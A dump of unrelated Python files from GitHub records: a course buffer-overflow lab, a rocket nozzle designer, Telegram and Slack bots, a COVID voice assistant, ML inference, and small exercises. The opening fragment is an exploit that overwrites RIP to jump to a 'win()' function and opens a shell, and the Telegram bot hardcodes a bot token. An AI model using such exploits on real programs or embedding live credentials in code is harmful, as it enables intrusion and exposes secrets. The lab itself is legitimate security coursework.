\"win()\" function\nWIN_ADDR = BASE_ADDR + WINFUNC_OFFSET\nprint(\"The calculated address of the 'win()' function in base16 zero padded format: {:016x})\".format(WIN_ADDR))\nprint(\"\\n\")\n\n# Send exploit payload to change RIP to point to \"win()\" function to gain shell\np.send(b\"A\"*8 + b\"B\"*8 + b\"C\"*8 + p64(WIN_ADDR))\n\n# Send a NULL byte to exit the \"read()\" loop and execute the call to \"win()\" function\np.send(b\"\\x00\")\n\n# Swicth to interactive shell after successful exploit\np.interactive()\n","repo_name":"kwafula/CSC-748","sub_path":"Homework-05/lab5-1.py","file_name":"lab5-1.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19890485354","text":"# PROGRAM: RAO-STYLE THRUST OPTIMIZED BELL NOZZLE DESIGNER\n# FOR LIQUID PROPELLANT ROCKET ENGINES\n#\n# Author: H. A. Güler (arda-guler @ Github)\n\nimport matplotlib.pyplot as plt\nimport math\nimport csv\n\nfrom plot import *\n\ndef get_parabola_point(Nx, Ny, Qx, Qy, Ex, Ey, t):\n x = ((1-t)**2) * Nx + 2*(1-t)*t*Qx + (t**2) * Ex\n y = ((1-t)**2) * Ny + 2*(1-t)*t*Qy + (t**2) * Ey\n\n return x, y\n\ndef compute_bell_geometry(D_throat, D_exit, length_percent=80, theta_ch=30, theta_n=None, theta_e=None, x_fine=None, t_fine=None):\n\n xs = []\n ys = []\n\n if not length_percent:\n length_percent = 80\n\n if not x_fine:\n x_fine = 100\n\n if not t_fine:\n t_fine = 20\n\n if length_percent < 60:\n length_percent = 60\n \n R_throat = D_throat * 0.5\n R_exit = D_exit * 0.5\n expansion_ratio = (R_exit**2) / (R_throat**2)\n\n # theta_n not given, get it from Rao's graph\n if not theta_n:\n if length_percent <= 70:\n if expansion_ratio < 10:\n theta_n = 30\n else:\n theta_n = 35\n\n elif length_percent <= 85:\n if expansion_ratio < 30:\n theta_n = 25\n else:\n theta_n = 30\n\n else:\n if expansion_ratio <= 15:\n theta_n = 20\n else:\n theta_n = 25\n\n # theta_e not given, get it from Rao's graph\n if not theta_e:\n if length_percent <= 70:\n if expansion_ratio < 15:\n theta_e = 20\n else:\n theta_e = 15\n\n elif length_percent <= 85:\n if expansion_ratio < 10:\n theta_e = 15\n elif expansion_ratio < 40:\n theta_e = 10\n else:\n theta_e = 5\n\n else:\n if expansion_ratio < 6:\n theta_e = 10\n else:\n theta_e = 5\n\n # compute where the parabola starts\n # print(\"Parabola start angle:\", theta_n)\n # print(\"Parabola end angle:\", theta_e)\n x_throat = 0\n x_parabola = 0.382*R_throat*math.sin(math.radians(theta_n))\n x_exit = (length_percent/100) * (((expansion_ratio**0.5) - 1) * R_throat)/math.tan(math.radians(15))\n\n Nx = x_parabola\n Ny = R_throat + (R_throat * 0.382) - (((R_throat * 0.382)**2) - (x_parabola**2))**(0.5)\n\n Ex = x_exit\n Ey = R_exit\n\n m1 = math.tan(math.radians(theta_n))\n m2 = math.tan(math.radians(theta_e))\n C1 = Ny - m1*Nx\n C2 = Ey - m2*Ex\n\n Qx = (C2-C1)/(m1-m2)\n Qy = (m1*C2 - m2*C1)/(m1-m2)\n\n x = -math.sin(math.radians(theta_ch)) * (1.5 * R_throat)\n ## x = -R_throat * 1.5 / 2\n throat_dx = (x_parabola - x)/x_fine\n\n # throat downstream and upstream arcs\n while x < x_parabola:\n if x < 0:\n R_arc = R_throat * 1.5\n else:\n R_arc = R_throat * 0.382\n\n xs.append(x)\n ys.append(R_throat + R_arc - ((R_arc**2) - (x**2))**(0.5))\n\n x += throat_dx\n\n # parabola\n t = 0\n dt = 1/t_fine\n\n while t <= 1:\n x, y = get_parabola_point(Nx, Ny, Qx, Qy, Ex, Ey, t)\n xs.append(x)\n ys.append(y)\n t += dt\n\n # if the program somehow skips the very last point, compute it\n if t > 1 and t < 1 + dt:\n t = 1\n x, y = get_parabola_point(Nx, Ny, Qx, Qy, Ex, Ey, t)\n xs.append(x)\n ys.append(y)\n\n return xs, ys\n\n##def design_and_analyze(params):\n## D_throat = params[\"Throat Diameter\"]\n## D_exit = params[\"Exit Diameter\"]\n## length_percent = params[\"% Length to Equivalent Cone (optional)\"]\n## theta_n = params[\"Parabola Start Angle (optional)\"]\n## theta_e = params[\"Exit Angle (optional)\"]\n##\n## x_fine = params[\"Throat Plot Fineness (optional)\"]\n## t_fine = params[\"Parabola Fineness (optional)\"]\n##\n## gamma = params[\"Combustion Gases Gamma (optional)\"]\n## \n## xs, ys = compute_geometry(D_throat, D_exit, length_percent, theta_n, theta_e,\n## x_fine, t_fine)\n##\n## mach_data = None\n##\n## if gamma:\n## try:\n## subsonic_x, subsonic_M, supersonic_x, supersonic_M = calc_mach_num(xs, ys, gamma)\n## mach_data = [subsonic_x, subsonic_M, supersonic_x, supersonic_M]\n## except:\n## print(\"WARNING: Can not calculate Mach profile, likely because the program does some subtractive cancellation. Try reducing fineness.\")\n##\n## plot_all(xs, ys, mach_data)\n## return\n","repo_name":"arda-guler/LETALIS","sub_path":"bell_nozzle.py","file_name":"bell_nozzle.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"34274531409","text":"import re\nfrom listenAndSpeak import speak, get_audio\nfrom dataHandling import Data\nfrom tokenData import API_KEY, PROJECT_TOKEN\n\ndef main():\n running = True\n end_phrase = \"stop\"\n case_scenario = \"\"\n print(\"Program has started\")\n\n # creating an object data to store the data obtained by a particular request.\n data = Data(API_KEY, PROJECT_TOKEN)\n country_list = data.get_list_of_countries()\n\n UPDATE_PATTERNS = {\n re.compile(\"[\\w\\s]+ update [\\w\\s]\"):data.update_data,\n re.compile(\"update [\\w\\s]\"):data.update_data,\n re.compile(\"[\\w\\s]+ update\"):data.update_data\n }\n TOTAL_PATTERNS = {\n re.compile(\"[\\w\\s]+ total [\\w\\s]+ cases\"): data.get_total_cases,\n re.compile(\"[\\w\\s]+ total cases\"): data.get_total_cases,\n re.compile(\"[\\w\\s]+ total [\\w\\s]+ deaths\"): data.get_total_deaths,\n re.compile(\"[\\w\\s]+ total deaths\"): data.get_total_deaths,\n re.compile(\"[\\w\\s]+ total [\\w\\s]+ recovered\"): data.get_total_recovered,\n re.compile(\"[\\w\\s]+ total recovered\"): data.get_total_recovered,\n re.compile(\"[\\w\\s]+ total [\\w\\s]+ recoveries\"): data.get_total_recovered,\n re.compile(\"[\\w\\s]+ total recoveries\"): data.get_total_recovered\n }\n\n COUNTRY_PATTERNS = {\n re.compile(\"[\\w\\s]+ cases [\\w\\s]+\"): lambda country: data.get_country_data(country)['total_cases'],\n re.compile(\"[\\w\\s]+ deaths [\\w\\s]+\"): lambda country: data.get_country_data(country)['total_deaths'],\n # re.compile(\"[\\w\\s]+ recoveries [\\w\\s]+\"): lambda country: data.get_country_data(country)['total_recovered'],\n # re.compile(\"[\\w\\s]+ recovered [\\w\\s]+\"): lambda country: data.get_country_data(country)['total_recovered']\n }\n while running:\n result = None\n print(\"Listening...\")\n user_voice = get_audio()\n print(user_voice)\n for pattern, func in UPDATE_PATTERNS.items():\n if pattern.match(user_voice):\n result = \"Data is being updated. This may take a moment!\"\n data.update_data()\n case_scenario = \"\"\n break\n\n for pattern, func in COUNTRY_PATTERNS.items():\n if pattern.match(user_voice):\n words = set(user_voice.split(\" \"))\n for country in country_list:\n if 'deaths' in words:\n case_scenario = \" have died.\"\n if 'cases' in words:\n case_scenario = \" have been infected.\"\n # if 'recovered' in words:\n # case_scenario = \" have recovered.\"\n if country in words:\n result = func(country)\n break\n\n for pattern, func in TOTAL_PATTERNS.items():\n if pattern.match(user_voice):\n if func == data.get_total_cases:\n case_scenario = \" have been infected.\"\n if func == data.get_total_deaths:\n case_scenario = \" have died.\"\n if func == data.get_total_recovered:\n case_scenario = \" have recovered.\"\n result = func()\n break\n\n if result:\n print(result+case_scenario)\n speak(result+case_scenario)\n if not user_voice.find(end_phrase): #Exit the application when there is a phrase stop.\n running = False\n speak(\"Thank you, have a nice day!\")\n print(\"Thank you, have a nice day!\")\n\nmain()","repo_name":"yashrakeshmishra/Covid19-voice-assistant","sub_path":"launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73122648488","text":"def show_messages(texts):\r\n\tfor text in texts:\r\n\t\tprint(text)\r\n\r\ndef send_messages(texts):\r\n\twhile texts:\r\n\t\tcurrent_text = texts.pop()\r\n\t\tsent_messages.append(current_text)\r\n\r\n\r\n\r\ntext_messages = ['Hi, how are you?',\r\n\t'ttyl',\r\n\t'wru',\r\n\t'This is your grubhub driver',\r\n\t'wtf bro']\r\n\r\nsent_messages = []\r\n\r\nsend_messages(text_messages[:])\r\n\r\nprint(f'These messages were sent: ')\r\nfor text in sent_messages:\r\n\tprint(text)\r\n\r\nprint(f'This is the original list: {text_messages}')\r\nprint(f'This is the new list: {sent_messages}')\r\n\r\n","repo_name":"j14mp/py_Crash_Course","sub_path":"chapter8/exercise8_9.py","file_name":"exercise8_9.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72228586728","text":"from telegram import ChatAction, ParseMode\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters, ConversationHandler\n# from telegram.ext.dispatcher import run_async\nimport logging\nimport urllib3\nimport os\nimport PIL\n# from lxml.etree import HTML\n# import time\nfrom imagetomp4 import videowriter\n\n\n\nPHOTO = 1\n\n\n# def start(bot, update):\n# update.message.reply_text('hellow')\n#\n# return PHOTO1\n\ndef photo1(bot, update):\n user = update.message.from_user\n chat_id = update.message.chat_id\n image = bot.getFile(update.message.photo[-1].file_id)\n image.download(os.getcwd() + '/download/'+'left_image.jpg')\n update.message.reply_text('hellow!\\ngot first image, please send me another')\n\n return PHOTO\n\ndef photo2(bot, update):\n user = update.message.from_user\n chat_id = update.message.chat_id\n image = bot.getFile(update.message.photo[-1].file_id)\n image.download(os.getcwd() + '/download/'+'right_image.jpg')\n update.message.reply_text('got second image, genarating......')\n left_image= PIL.Image.open(os.getcwd() + '/download/'+'left_image.jpg')\n right_image= PIL.Image.open(os.getcwd() + '/download/'+'right_image.jpg')\n videowriter(left_image, right_image)\n\n bot.sendDocument(chat_id=chat_id, document=open(os.getcwd() + '/list/hibiki.gif', 'rb'))\n\n return ConversationHandler.END\n\ndef cancel(bot, update):\n\n update.message.reply_text('Bye! I hope we can talk again some day.')\n\n return ConversationHandler.END\n\ndef error(bot, update, error):\n logger.warn('Update \"%s\" caused error \"%s\"' % (update, error))\n\n\n\n\ndef main():\n # Create the EventHandler and pass it your bot's token.\n updater = Updater(\"339651962:AAGx5buxhMFSe5oxVKkyox7RSMToU8iuvSU\")\n\n\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n\n # Add conversation handler with the states GENDER, PHOTO, LOCATION and BIO\n conv_handler = ConversationHandler(\n entry_points=[MessageHandler(Filters.photo, photo1)],\n\n states={\n\n\n # PHOTO1: [MessageHandler(Filters.photo, photo1)],\n\n\n PHOTO: [MessageHandler(Filters.photo, photo2)]\n\n\n\n\n },\n\n fallbacks=[CommandHandler('cancel', cancel)]\n )\n\n dp.add_handler(conv_handler)\n\n\n\n # log all errors\n dp.add_error_handler(error)\n\n # Start the Bot\n updater.start_polling()\n\n # Run the bot until the you presses Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n updater.idle()\n\nif __name__ == '__main__':\n main()\n","repo_name":"hibikiverniy/telegram-bot","sub_path":"hibiki_bot_2.0.py","file_name":"hibiki_bot_2.0.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"38441782636","text":"def countingSort(Myarr):\r\n \r\n count = [0] * int(max(Myarr)+1)\r\n\r\n for num in Myarr:\r\n count[num] += 1\r\n for i in count:\r\n print(i , end=\" \")\r\n \r\n \r\n \r\nn = int(input())\r\n\r\nmy_val= list(map(int,input().split()))\r\n\r\ncountingSort(my_val)\r\n\r\n\r\n\r\n\r\n","repo_name":"Yash8817/HackerRank-solution","sub_path":"counting-sort.py","file_name":"counting-sort.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"37693489092","text":"class TextAnalysis():\n\n def similarity_score(self, txt1, txt2):\n '''Takes in two texts and computes \n similarity - how many words they have in common '''\n\n if not isinstance(txt1, str) or not isinstance(txt2, str):\n raise TypeError(\"Both inputs must be strings\")\n\n # If both inputs are the exact same return score of 1\n if txt1 == txt2:\n return 1.0\n\n # Tokenizes string inputs to cleaned words and creates \n # a set of unique words found in each input text\n uniq1 = set(self.tokenize(txt1))\n uniq2 = set(self.tokenize(txt2))\n\n return self.jaccard_index(uniq1, uniq2)\n\n\n def remove_punc(self, txt):\n '''Removes any non-space punctuation'''\n punc = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n for char in txt:\n if char in punc:\n txt = txt.replace(char, \"\")\n return txt\n\n def tokenize(self, txt):\n '''Takes a string as an input, removes punctuation, ensures text\n is lowercase and returns list of words'''\n return self.remove_punc(txt).lower().split()\n\n # Created this as a function to enable ease of choosing a different \n # algorithm to calculate similarity\n def jaccard_index(self, set1, set2):\n '''Takes two sets of unique words and calculates jaccard index score =\n number of unique words found in both sets divided by the total number of\n unique words total'''\n score = float(len(set1.intersection(set2))/len(set1.union(set2)))\n return round(score, 2)\n\n\n","repo_name":"amp5/fetch_rewards_de_exercise","sub_path":"web/process_text.py","file_name":"process_text.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"23725736829","text":"from collections import OrderedDict\nimport os\nimport torch\nimport time\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport numpy as np\nfrom unet import UNet\nfrom unet import UNetNested\nfrom unet import UNet_SIIS\nfrom PIL import Image\nImage.MAX_IMAGE_PIXELS = 1000000000000000\n\n\ndef infer(model_path, model_name, model):\n\n print('model_name:{}'.format(model_name))\n use_cuda = False\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n if torch.cuda.is_available():\n print('Using GPU for inference')\n use_cuda = True\n checkpoint = torch.load(model_path, map_location=device)\n\n model = model.to(device)\n else:\n print('Using CPU for inference')\n checkpoint = torch.load(model_path, map_location='cpu')\n\n new_state_dict = OrderedDict()\n for k, v in checkpoint['state_dict'].items():\n name = k[7:]\n new_state_dict[name] = v\n # print(k)\n model.load_state_dict(new_state_dict)\n\n # print(checkpoint['state_dict'])\n\n\nclass Inference(object):\n def __init__(self, model_name, model_path, data_path):\n self.model_name = model_name\n self.model_path = model_path\n self.data_path = data_path\n self.data_dict = {}\n self.data_dict = make_data_dict(self.data_path)\n \n\n if self.model_name == 'unet':\n self.model = UNet(3, 2)\n elif self.model == 'unetnested':\n self.model = UNetNested(3, 2)\n elif self.model_name == 'unet_siis':\n self.model = UNet_SIIS(3, 2)\n\n self.use_cuda = False\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n if torch.cuda.is_available():\n print('Using GPU fro inference')\n self.use_cuda = True\n checkpoint = torch.load(self.model_path, map_location=self.device)\n self.model = self.model.to(self.device)\n self.model.load_state_dict(checkpoint['state_dict'])\n else:\n print('Using CPU for inference')\n checkpoint = torch.load(self.model_path, map_location='cpu')\n self.model.load_state_dict(checkpoint['state_dict'])\n\n self.model.eval()\n\n def _preprocess(self, data):\n preprocessed_data = {}\n for k, v in data.items():\n for file_name, file_content in v.items():\n img = Image.open(file_content)\n img = np.array(img)\n preprocessed_data[k] = img\n return preprocessed_data\n\n def _inference(self, data):\n img = data['input_image']\n data = img\n target_l = 1024\n # device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n data = data.transpose(2, 0, 1)\n if data.max() > 1: data = data / 255\n c, x, y = data.shape\n label = np.zeros((x, y))\n x_num = (x // target_l + 1) if x % target_l else x // target_l\n y_num = (y // target_l + 1) if y % target_l else y // target_l\n for i in range(x_num):\n for j in range(y_num):\n x_s, x_e = i * target_l, (i + 1) * target_l\n y_s, y_e = j * target_l, (j + 1) * target_l\n img = data[:, x_s:x_e, y_s:y_e]\n img = img[np.newaxis, :, :, :].astype(np.float32)\n img = torch.from_numpy(img)\n img = Variable(img.to(self.device))\n out_l = self.model(img)\n out_l = out_l.cpu().data.numpy()\n out_1 = np.argmax(out_1, axis=1)[0]\n label[x_s:x_e, y_s:y_e] = out_l.astype(np.int8)\n\n _label = label.astype(np.int8).tolist()\n _len, __len = len(_label), len(_label[0])\n o_stack = []\n for _ in _label:\n out_s = {\"s\": [], \"e\": []}\n j = 0\n while j < __len:\n if _[j] == 0:\n out_s['s'].append(str(j))\n while j < __len and _[j] == 0:\n j += 1\n out_s[\"e\"].append(str(j))\n j += 1\n o_stack.append(out_s)\n result = {\"result\": o_stack}\n return result\n\n def _postprocess(self, data):\n return data\n\n def inference(self, data):\n pre_start_time = time.time()\n data = self._preprocess(data)\n infer_start_time = time.time()\n pre_time_in_ms = (infer_start_time - pre_start_time) * 1000\n\n data = self._inference(data)\n infer_end_time = time.time()\n\n infer_in_ms = (infer_end_time - infer_start_time) * 1000\n data = self._postprocess(data)\n post_time_in_ms = (time.time() - infer_end_time) * 100\n\n latency_time = str(pre_time_in_ms + infer_in_ms + post_time_in_ms)\n print('latency_time:{}'.format(latency_time))\n return data\n\n\ndef make_data_dict(data_path ):\n data_dict = {}\n temp = {}\n for i, file_list in enumerate(os.listdir(data_path)):\n temp[i] = os.path.join(data_path, file_list)\n data_dict['input_image'] = temp\n return data_dict\n\nif __name__ == \"__main__\":\n data_path = 'D:\\\\CodingFiles\\\\Huawei_Competition\\\\Huawei\\\\huawei_data\\\\val\\\\one_img'\n unetnested_model_path = 'D:/CodingFiles/Huawei_Competition/Test_Files/UNetNested-epoch5/checkpoint-best.pth'\n unet_model_path = 'D:/CodingFiles/Huawei_Competition/Test_Files/11_12_unet/model_best.pth'\n unet2_model_path = 'D:/CodingFiles/Huawei_Competition/Test_Files/11_12_unet/unet_2433_1_adam.pth'\n\n \n\n unet_131 = 'D:\\\\DownloadFiles\\\\Thunder\\\\Huawei_pth\\\\model_epoch5.pth'\n unet_119 = 'D:\\\\DownloadFiles\\\\Thunder\\\\Huawei_pth\\\\checkpoint-best.pth'\n\n unet_nested_model = UNetNested(3, 2)\n unet_model = UNet(3, 2)\n\n # infer(unet_model_path, 'unet', unet_model)\n # infer(unet2_model_path, 'unet', unet_model)\n\n # infer(unet_131, 'unet', unet_model)\n\n # infer(unetnested_model_path, 'unetnested', unet_nested_model)\n\n # data_dict = make_data_dict(data_path)\n # print(data_dict)\n\n infer = Inference('unet', unet2_model_path, data_path)\n print(infer.inference(infer.data_dict))","repo_name":"junwenxiong/HuaweiCloudCup","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"969512295","text":"from parser import Parser\n\n\ndef test_parser():\n p = Parser()\n commands = p.parse('''\n // comment\n\n push constant 7 //comment\n push constant 8\n add\n ''')\n commands = list(commands)\n\n assert len(commands) == 3\n assert commands[1] == [4, 'push', 'constant', 8]\n\n\ndef test_branching_commands():\n p = Parser()\n commands = p.parse('''\n label start\n push constant 0\n if-goto start\n goto end\n label end\n ''')\n commands = list(commands)\n\n assert len(commands) == 5\n\n\ndef test_function():\n p = Parser()\n commands = p.parse(''' // 0\n function fn 0 // 1\n push argument 0 // 2\n push argument 1 // 3\n add // 4\n return // 5\n // 6\n push constant 10 // 7\n push constant 20 // 8\n call fn 2 // 9\n ''')\n commands = list(commands)\n\n assert len(commands) == 8\n assert commands[0] == [1, 'function', 'fn', 0]\n assert commands[7] == [9, 'call', 'fn', 2]\n","repo_name":"cincinnat/nand2tetris","sub_path":"projects/vm-translator/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8394751575","text":"# Documentação\n# https://doc.qt.io/qtforpython-6/index.html\n\nimport sys\nfrom PySide6.QtCore import Slot\nfrom PySide6.QtWidgets import (QApplication, QPushButton ,QWidget, \n QGridLayout, QMainWindow)\n\n@Slot()\ndef slot_example(status_bar):\n def inner():\n status_bar.showMessage(\"O meu slot foi executado\")\n return inner\n\n@Slot()\ndef outro_slot(checked):\n print('Está marcado?', checked)\n\n@Slot()\ndef terceira_slot(action):\n def inner():\n outro_slot(action.isChecked())\n return inner\n\napp = QApplication(sys.argv)\nwindow = QMainWindow()\ncentral_widget = QWidget()\nwindow.setCentralWidget(central_widget)\nwindow.setWindowTitle('Minha janela')\n\nbotao = QPushButton('Texto do botão')\nbotao.setStyleSheet('font-size: 80px;')\n\nbotao2 = QPushButton('Botão 2')\nbotao2.setStyleSheet('font-size: 40px')\n\nbotao3 = QPushButton('Botão 3')\nbotao3.setStyleSheet('font-size: 40px')\n\nlayout = QGridLayout()\ncentral_widget.setLayout(layout)\n\nlayout.addWidget(botao, 1, 1, 1, 1)\nlayout.addWidget(botao2, 1, 2, 1, 1)\nlayout.addWidget(botao3, 3, 1, 1, 2)\n\n# statusBar\nstatus_bar = window.statusBar()\nstatus_bar.showMessage('Mostrar mensagem')\n\n# menuBar\nmenu = window.menuBar()\n\nprimeiro_menu = menu.addMenu('Primeiro menu')\nprimeira_acao = primeiro_menu.addAction('Primeira ação')\nprimeira_acao.triggered.connect(slot_example(status_bar))\n\nsegunda_acao = primeiro_menu.addAction('Segunda ação')\nsegunda_acao.setCheckable(True)\nsegunda_acao.toggled.connect(outro_slot)\nsegunda_acao.hovered.connect(terceira_slot(segunda_acao))\n\nbotao.clicked.connect(terceira_slot(segunda_acao))\n\nwindow.show()\napp.exec()","repo_name":"Thiago-Teofilo/curso_python","sub_path":"python_curso_completo/m07_ui_pyside6/aula343_main_window/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"29363971339","text":"\"\"\"legolas.py: main driver program for the slack bot.\"\"\"\n\n__author__ = \"Jatin K Malik\"\n__email__ = \"jatinkrmalik@gmail.com\"\n__version__ = \"0.1.1\"\n__status__ = \"Beta version\"\n\nimport os\nimport time\nimport re\nfrom slackclient import SlackClient\nfrom config import BOT_ACCESS_TOKEN\nfrom elves import witchcraft\n\n# instantiate Slack client\nslack_client = SlackClient(BOT_ACCESS_TOKEN)\n# starterbot's user ID in Slack: value is assigned after the bot starts up\nstarterbot_id = None\n\n# constants\nRTM_READ_DELAY = 1 # 1 second delay between reading from RTM\nEXAMPLE_COMMAND = \"do\"\nMENTION_REGEX = \"^<@(|[WU].+?)>(.*)\"\n\ndef parse_bot_commands(slack_events):\n \"\"\"\n Parses a list of events coming from the Slack RTM API to find bot commands.\n If a bot command is found, this function returns a tuple of command and channel.\n If its not found, then this function returns None, None.\n \"\"\"\n for event in slack_events:\n if event[\"type\"] == \"message\" and not \"subtype\" in event:\n user_id, message = parse_direct_mention(event[\"text\"])\n if user_id == starterbot_id:\n return message, event[\"channel\"]\n return None, None\n\ndef parse_direct_mention(message_text):\n \"\"\"\n Finds a direct mention (a mention that is at the beginning) in message text\n and returns the user ID which was mentioned. If there is no direct mention, returns None\n \"\"\"\n matches = re.search(MENTION_REGEX, message_text)\n # the first group contains the username, the second group contains the remaining message\n return (matches.group(1), matches.group(2).strip()) if matches else (None, None)\n\ndef handle_command(command, channel):\n \"\"\"\n Executes bot command if the command is known\n \"\"\"\n # Default response is help text for the user\n default_response = \"Whoops! Not sure what you mean. Try saying something on the lines of *{} url*.\\n\\n*For example:*\\n@Legolas do https://blog.shuttl.com/2018/05/13/working-mothers-how-do-you-make-it-look-so-easy/\".format(EXAMPLE_COMMAND)\n\n # Finds and executes the given command, filling in response\n response = None\n # This is where you start to implement more commands!\n if command.startswith(EXAMPLE_COMMAND):\n urls = re.findall('(?:(?:https?|ftp):\\/\\/)?[\\w/\\-?=%.]+\\.[\\w/\\-?=%.]+',command) # to parse the url in the text.\n if urls:\n print('Found some urls:', urls)\n response = witchcraft(urls[0])\n else:\n response = \"Hey human, I couldn't find any url in your message above.\\nGive me a url to work on, try *@Legolas do *\"\n\n elif command.startswith(\"hi\") or command.startswith(\"hello\") or command.startswith(\"hey\"):\n response = \"Hello human! I am *Legolas, son of Thranduil, the King of the Elves of Northern Mirkwood.* I am here to help you read urls without any annoying popups or ads which I feel is Sauron's plot to drive us crazy.\\n\\nWhenever you need my help, just say _do _ and I will be at your service!\"\n\n # Sends the response back to the channel\n slack_client.api_call(\n \"chat.postMessage\",\n channel=channel,\n text=response or default_response\n )\n\nif __name__ == \"__main__\":\n if slack_client.rtm_connect(with_team_state=False):\n print(\"Legolas is up and running!\")\n # Read bot's user ID by calling Web API method `auth.test`\n starterbot_id = slack_client.api_call(\"auth.test\")[\"user_id\"]\n while True:\n command, channel = parse_bot_commands(slack_client.rtm_read())\n if command:\n print(command, channel)\n handle_command(command, channel)\n time.sleep(RTM_READ_DELAY)\n else:\n print(\"Connection failed. Exception traceback printed above.\")\n","repo_name":"jatinkrmalik/Legolas","sub_path":"legolas/legolas.py","file_name":"legolas.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"865140252","text":"# XML namespaces\nxamlns = {\n 'xaml': 'http://schemas.microsoft.com/netfx/2009/xaml/activities', # Default namespace\n 'sap2010': 'http://schemas.microsoft.com/netfx/2010/xaml/activities/presentation',\n 'ui': 'http://schemas.uipath.com/workflow/activities',\n 'x': 'http://schemas.microsoft.com/winfx/2006/xaml',\n}\n\n# Set of Workbook activities (as of 18.4.3)\nwbactivities = {\n 'ui:AppendRange', 'ui:GetTableRange', 'ui:ReadCell', 'ui:ReadCellFormula', 'ui:ReadColumn',\n 'ui:ReadRange', 'ui:ReadRow', 'ui:WriteCell', 'ui:WriteRange',\n}\n\n# Set of Open/Attach Scopes (as of 18.4.3)\nwndscopes = {\n 'ui:ElementScope', 'ui:WindowScope', 'ui:BrowserScope', 'ui:OpenApplication', 'ui:OpenBrowser',\n}\n\n# Set of Special keys (as of 18.4.3)\nspecialkey = {\n 'add', 'alt', 'lalt', 'ralt', 'back', 'break', 'caps', 'ctrl', 'lctrl', 'rctrl', 'decimal',\n 'del', 'div', 'down', 'end', 'enter', 'numEnter', 'esc', 'f1', 'f2', 'f3', 'f4', 'f5', 'f6',\n 'f7', 'f8', 'f9', 'f10', 'f11', 'f12', 'home', 'ins', 'left', 'mul', 'num', 'num0', 'num1',\n 'num2', 'num3', 'num4', 'num5', 'num6', 'num7', 'num8', 'num9', 'pause', 'pgup', 'pgdn', 'right',\n 'scroll', 'shift', 'lshift', 'rshift', 'sleep', 'sub', 'tab', 'up',\n}\n\n\n# Get DisplayName of Activity\ndef displayname(element) -> str:\n if tag(element) == 'Target':\n element = element.xpath('../..')[0]\n\n dispname = element.get('DisplayName')\n return dispname if dispname else tag(element)\n\n\n# Get tag name without namespaces (local name)\ndef tag(element) -> str:\n tagname = element.tag\n nspos = tagname.find('}')\n return tagname[nspos + 1:] if nspos >= 0 else tagname\n","repo_name":"curipha/uilint","sub_path":"uixaml.py","file_name":"uixaml.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"} +{"seq_id":"29096068968","text":"# Name: Steven Haynes\r\n# Chapter 6-2b Practice Project Status: Complete\r\n\r\n# A program that opens number_list.txt, and prints the numbers.\r\n# Uses a for loop to terminate at the end of the file.\r\n\r\ndef main():\r\n infile = open('number_list.txt', 'r')\r\n\r\n for line in infile:\r\n number = int(line)\r\n print(number)\r\n\r\n infile.close()\r\n\r\n\r\nmain()\r\n","repo_name":"sh1483/COSC-1336-Programming-Fundamentals-1-Python","sub_path":"Haynes_Practice6-2b.py","file_name":"Haynes_Practice6-2b.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73108434409","text":"import argparse\nfrom turtle import shape\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport torchvision.models as models\nfrom sklearn.metrics import pairwise_distances\nimport numpy as np\nimport time\nfrom noisy_dataset import NoisyDataset\nimport tools\nfrom REL_model import NeuralNetwork\nfrom REL_model import NeuralNetLinear\nfrom ce_method import CE\nfrom trimming_method import Trimming\nimport eval_on_holdout\nimport plot\n\n\nparser = argparse.ArgumentParser(description='PyTorch Training')\nparser.add_argument('--noise_rate', type=float,\n help='overall corruption rate, should be less than 1', default=0.1)\nparser.add_argument('--noise_type', type=str,\n help='[instance, symmetric, asymmetric]', default='symmetric')\nparser.add_argument('-j', '--workers', default=4, type=int, metavar='N',\n help='number of data loading workers (default: 4)')\nparser.add_argument('--start-epoch', default=0, type=int,\n metavar='N', help='manual epoch number (useful on restarts)')\nparser.add_argument('--epoch', type=int, default=400)\nparser.add_argument('--model', type=str, default='LeNet')\nparser.add_argument('--model_name', type=str, default='resnet50')\nparser.add_argument('--weight_decay', type=float, help='l2', 